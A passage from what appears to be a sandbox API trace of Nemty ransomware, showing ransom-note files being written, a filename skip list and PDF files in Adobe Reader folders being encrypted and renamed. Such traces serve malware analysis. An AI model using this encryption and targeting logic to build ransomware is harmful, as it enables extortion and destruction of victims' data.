lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0189.350] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.353] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.353] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0189.354] CloseHandle (hObject=0x2f0) returned 1 [0189.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0189.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0189.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0189.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0189.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0189.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0189.355] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.355] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.355] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0189.357] CloseHandle (hObject=0x2f0) returned 1 [0189.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340430 [0189.357] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24823670, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24823670, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0189.357] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0189.357] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24823670, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24823670, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0189.357] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0189.357] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0189.357] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15fc8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0189.357] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0189.357] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0189.357] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0189.357] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0189.357] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.357] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0189.357] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0189.357] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0189.357] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0189.357] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0189.357] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.358] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.358] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.358] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0189.358] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0189.358] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0189.358] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0189.358] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.358] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0189.358] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0189.358] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0189.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e8 [0189.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.358] Sleep (dwMilliseconds=0x5) [0189.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x248497d0, dwHighDateTime=0x1d561e8)) [0189.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x248497d0, dwHighDateTime=0x1d561e8)) [0189.366] GetLastError () returned 0xb7 [0189.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.366] GetLastError () returned 0xb7 [0189.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.366] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.367] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.367] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.367] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="DxH/sM3auFZ4GQwLRk1k5clAiEl8PhFFd0AjXt2ujouGQ56auxnK96q559+Lwjnq\r\n4cKnNeaXDBzJ94q82f/wFS1RsoVZWcMULZO5onVAcbB6d4hDpRvs6JggV9KX5+P7\r\nLGRcjvSrXSwyQYMEo9Io0mNg4YJVedIYWCMn2ecSIzO/iAzkBULw50b5ZSjgjDDy\r\nYXiKBMmC5NVaVRyNlTsbkhi8DDAaHPMkASuv8b87SSot2glMwO3bVfwv1sNblZs6\r\nPppQ+ZSLPjis0cYhMYVpjQHTpZZg8/4KNLq+tQrmbgHZ5mUUkYb2XsBTN9ih5EWF\r\nnrB9Q6YVoSOZgAF7Weo9qg==\r\n", pcchString=0x653df5c) returned 1 [0189.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.367] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.368] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=90056) returned 1 [0189.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x15fc0) returned 0x6352c48 [0189.368] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.368] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x15fc0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x15fc0, lpOverlapped=0x0) returned 1 [0189.376] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.376] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x15fc0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x15fc0, lpOverlapped=0x0) returned 1 [0189.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.376] SetFilePointer (in: hFile=0x320, lDistanceToMove=90056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15fc8 [0189.376] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.377] CloseHandle (hObject=0x320) returned 1 [0189.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0189.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.377] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0189.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.378] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2=".") returned 1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="..") returned 1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="...") returned 1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="windows") returned -1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="rsa") returned -1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="NTDETECT.COM") returned -1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntldr") returned -1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="MSDOS.SYS") returned -1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="IO.SYS") returned -1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="boot.ini") returned 1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="ntuser.dat") returned -1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="desktop.ini") returned 1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="CONFIG.SYS") returned 1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="RECYCLER") returned -1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.378] lstrcmpiW (lpString1="Faces.pdf", lpString2="bootmgr") returned 1 [0189.379] lstrcmpiW (lpString1="Faces.pdf", lpString2="programdata") returned -1 [0189.379] lstrcmpiW (lpString1="Faces.pdf", lpString2="appdata") returned 1 [0189.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0189.379] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0189.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0189.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340430 [0189.379] Sleep (dwMilliseconds=0x5) [0189.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2486f930, dwHighDateTime=0x1d561e8)) [0189.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2486f930, dwHighDateTime=0x1d561e8)) [0189.382] GetLastError () returned 0x0 [0189.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.382] GetLastError () returned 0x0 [0189.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.382] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.382] 